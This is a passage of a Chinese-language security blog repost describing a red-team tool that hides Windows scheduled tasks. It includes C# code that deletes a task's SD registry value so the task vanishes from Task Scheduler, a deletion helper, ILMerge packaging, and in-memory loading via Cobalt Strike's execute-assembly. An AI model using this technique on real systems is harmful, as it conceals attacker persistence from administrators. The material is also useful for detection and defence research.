RegistryAccessRule rar = new RegistryAccessRule("Administrators",RegistryRights.FullControl, AccessControlType.Allow);<br />
rs.AddAccessRule(rar);<br />
subKey.SetAccessControl(rs);<br />
subKey.Close();</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">SD </span></b><b><span style="font-size:14.0pt;">删除<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">SD </span></b><b><span style="font-size:14.0pt;">键值的删除，是计划任务完全隐藏项之一，当然要排除在注册表中查看。但经过测试，<span lang="EN-US">Windows 7 </span>、<span lang="EN-US">Windows Server 2008 </span>无<span lang="EN-US"> SD </span>值、<span lang="EN-US">Windows 10 </span>有<span lang="EN-US"> SD </span>值。所以就要做<span lang="EN-US"> if </span>的判断，以免程序报错。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">//</span></b><b><span style="font-size:14.0pt;">判断<span lang="EN-US">SD</span>键值是否存在（<span lang="EN-US">Win7 </span>与<span lang="EN-US"> win2008 </span>无<span lang="EN-US">SD</span>）<span lang="EN-US"><br />
public static void RegeditKeyExist(string regpath)<br />
{<br />
string[] subkeyNames;<br />
RegistryKey sd = Registry.LocalMachine.OpenSubKey(regpath, true);<br />
subkeyNames = sd.GetValueNames();<br />
foreach (string keyName in subkeyNames)<br />
{<br />
if (keyName == "SD")<br />
{<br />
sd.DeleteValue("SD");<br />
sd.Close();<br />
return;<br />
}<br />
}<br />
sd.Close();<br />
return;<br />
}</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">删除计划任务<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">修改注册表中的键值<span lang="EN-US"> Index </span>与<span lang="EN-US"> SD </span>后，任务计划程序中就查看不到该任务。通过<span lang="EN-US"> TaskCollection </span>也无法查到此任务，就无法删除所创建的计划任务。所以，为了工具的完整性，删除代码只做参考，并未引用到程序中。</span></b><b><img width="554" height="160" src="http://cobjon.com/w/php/upload/202404/01/0aa8aa58.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">//</span></b><b><span style="font-size:14.0pt;">删除计划任务<span lang="EN-US"> (</span>需要管理员权限<span lang="EN-US">)<br />
public static void DeleteTask(string taskname)<br />
{<br />
//</span>不要写成<span lang="EN-US"> "\Microsoft\Windows\UPnP\" </span>—<span lang="EN-US"> </span>报错<span lang="EN-US"> </span>—<span lang="EN-US"> </span>找不到<span lang="EN-US"><br />
string taskpath = @"\Microsoft\Windows\UPnP";<br />
//</span>获得计划任务<span lang="EN-US"><br />
TaskService ts = new TaskService();<br />
TaskCollection tc = ts.GetFolder(taskpath).GetTasks();<br />
//Console.WriteLine($"{tc}");<br />
if (tc.Exists(taskname))<br />
{<br />
string dtask = taskpath + "\\" + taskname;<br />
ts.RootFolder.DeleteTask(dtask);<br />
Console.WriteLine("\n[+] Successfully delete scheduled task !");<br />
}<br />
else<br />
{<br />
Console.WriteLine("\n[!] Please add scheduled task !");<br />
}<br />
}</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">DLL</span></b><b><span style="font-size:14.0pt;">文件打包到<span lang="EN-US">EXE</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">引用的<span lang="EN-US"> Microsoft.Win32.TaskScheduler.dll </span>并不能直接编译到程序中，每次运行就需要<span lang="EN-US"> SchTask.exe </span>与<span lang="EN-US">Microsoft.Win32.TaskScheduler.dll </span>在同一目录下，否则运行就会报错。可以使用<span lang="EN-US"> ILMerge </span>将<span lang="EN-US"> .Net </span>的<span lang="EN-US"> DLL </span>文件打包到<span lang="EN-US"> EXE </span>中，直接在<span lang="EN-US"> Visual Studio </span>中使用<span lang="EN-US"> NuGet </span>程序包管理下载安装即可。也可以使用<span lang="EN-US"> ILMerge-GUI </span>图形化版本打包，更加方便。</span></b><b><img width="554" height="483" src="http://cobjon.com/w/php/upload/202404/01/8acebe01.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span style="font-size:14.0pt;">程序打包后，在<span lang="EN-US"> CobaltStrike </span>中利用<span lang="EN-US"> execute-assembly </span>可以成功在内存中加载运行。</span></b><b><img width="554" height="217" src="http://cobjon.com/w/php/upload/202404/01/e4076b72.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<div align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">
<hr size="2" width="100%" noshade="noshade" style="color:black;" align="left" />
</span></b>
</div>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><br />
</span></b><b><span style="font-size:14.0pt;">原文链接<span lang="EN-US"> https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html</span>，本文转自<span lang="EN-US">Z2O</span>安全攻防，如有侵权，请联系删除。工具地址：<span lang="EN-US">https://github.com/0x727/SchTask_0x727</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">如有侵权，请联系删除<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"> </span></b>
</p>
页:
[1]